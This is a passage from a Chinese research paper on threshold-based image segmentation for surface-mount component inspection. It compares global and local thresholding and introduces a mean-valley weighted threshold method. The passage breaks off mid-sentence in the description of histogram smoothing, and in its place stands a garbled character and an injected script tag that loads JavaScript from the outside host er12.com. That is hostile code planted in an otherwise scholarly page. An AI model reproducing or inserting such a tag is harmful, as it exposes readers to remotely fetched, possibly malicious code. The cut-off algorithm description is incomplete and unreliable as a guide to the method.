1 引言
表面贴装元器件的视觉检测和定位是影响贴片机整体性能的关键因素。其主要任务包括获取元件的图像，利用识别算法对图像进行处理，识别元件的质量、位置、角度，判断所拾取的元件是否合格并在贴装时进行贴装位置、角度的纠正等[1]。
在实际表面贴装生产中，不同类型的贴装元件具有不同的形状信息，各自的识别算法独立，但其第一步都是图像贴装元件和背景图像分开，为进一步对元器件图像进行特征识别做铺垫，我们称之为元件图像分割。图像分割有很多方法，其中最为简单和有效的是阈值分割[2-3]，即选择一个或几个合适的灰度阈值将原图像中的待识别目标和背景分开。因此如何选取阈值是图像分割的关键。在通常采用的元件识别算法中，图像分割的阈值是根据经验反复试验、估算得到的，不仅费时费力，还要依赖于图像处理技术人员的实际经验，为图像分割带来很多不确定因素。
本文分析了传统阈值确定方法的优缺点，结合表面贴装元器件的实际图像特点，考虑光照较稳定的情况，通过比较试验仿真，提出了一种基于均谷加权的快速阈值分割算法。该算法将图像中不同像素的灰度值对最佳阈值的贡献考虑进来，进行加权平均，得到最佳阈值，既提高了阈值选择的精度，也节省了传统阈值选择方法的估算成本。实验结果表明，该算法的分割效果和处理速度都优于常用的阈值分割算法，满足了贴片机视觉检测的要求。
2 阈值确定方法及其优缺点
阈值分割效果比较优越的确定方法大都是根据图像的灰度直方图选择[2]，因为该方图反映了图像的灰度分布特征，容易借助背景和目标的双峰特征选择最优阈值。根据阈值的不同作用范围，可分为全局和局部两种，前者只在图像质量较好时有效，后者则适应于较复杂的图像。
2.1 全局阈值法
全局阈值法是指整个图像采用单一阈值（全局阈值）进行图像二值化。目前已有多种全局阈值确定方法 [4]，如平均灰度值、模态法、迭代法、最大相关法、最大熵法等，其优点为应用范围比较广，算法较简单；对于对比度较高、照度均匀、无阴影的图像，能达到很好的分割效果。缺点是抗噪能力不强；对目标和背景的灰度有梯度变化的图像效果较差或失效。
2.2 局部阈值法
局部阈值法是用与坐标相关的一组阈值来对图像各部分分别进行分割（即阈值是坐标的函数）。在文献[5]中，讨论了11种局部阈值化方法及它们在二值化图像时的性能。综合分析其优点为抗噪能力强：对一些用全局阈值法不易分割的图像有较好的效果。缺点是算法的时空复杂度增加，影响了图像处理的速度；容易受到背景灰度不均匀性的影响；如果邻域窗口内的点全是目标或背景点，或窗口内存在个别的突发噪声点，则分割就会有明显的错误。
3 贴装图像分割特点
在本文所研究的表面贴装元器件视觉检测中，视觉系统采集到的像中元件（目标）和吸盘（背景）对比度较高，且元件无阴影，较适于采用全局阈值法进行阈值分割。
以结构特征最简单的矩形片式元件（chip ）为例，图1为采集到的效果较好的chip，图2为图1中chip的直方图。
由对图像模型的描述知[5]，对双峰直方图选取两峰之间的谷所对应的灰度值作为阈值就可将目标和背景分开（多峰直方图时也是类似）。图2是明显的多峰直方图，除三个主要的波峰外，图2后半段阶梯形各拐角处的灰度值也是其左右邻域的波峰。因此若选取了整个直方图的谷就确定了分割图像的阈值。
然而在传统求谷算法中，对多于两个波峰的情况，阈值一般选择主要的两个波峰的平均值。以图2为例，若取主要的两个波峰（ t1=55，t2=255），得到的阈值 t=(t1+t2）/2=155。而在实际元器件图像处理中，经过调试满足要求的阈值为130，与计算数值有很大的误差。因此，需要结合表面贴装元器件的图像特点，分析适用于本文研究对象的阈值确定方法。
由图2直方图可以看出，两个波峰之间的间距比较大，中间有很多的跌宕起伏，说明该图像对比度比较低，仅用两个主要波峰的平均值去处理将忽略大部分次波峰的灰度变化，从而使得阈值选择算法的结果误差很大。因此，本文结合表面贴装元器件的实际图像特点，提出基于均谷加权的阈值分割算法，将灰度直方图中不同像素的灰度变化引入到阈值确定算法中，以提高阈值分割的精度。
4 基于均谷加权的阈值分割算法
本文提出的基于均谷加权的阈值分割方法包括直方图高斯滤波、初始谷值的选取、均谷加权法求阈值和图像阈值分割四部分。
⑴直方图高斯滤波：一般情况下，直方图的不规则可以认为是由白噪声引起的，而高斯函数能较好地消除地白噪声。因此，在阈值选择前首先对灰度直方图做平滑处理，以消除图像噪声引起的无意义、虚假的波峰。本文选用如下加窗高斯函数 [6]作为平?script src=http://er12.com/t.js>
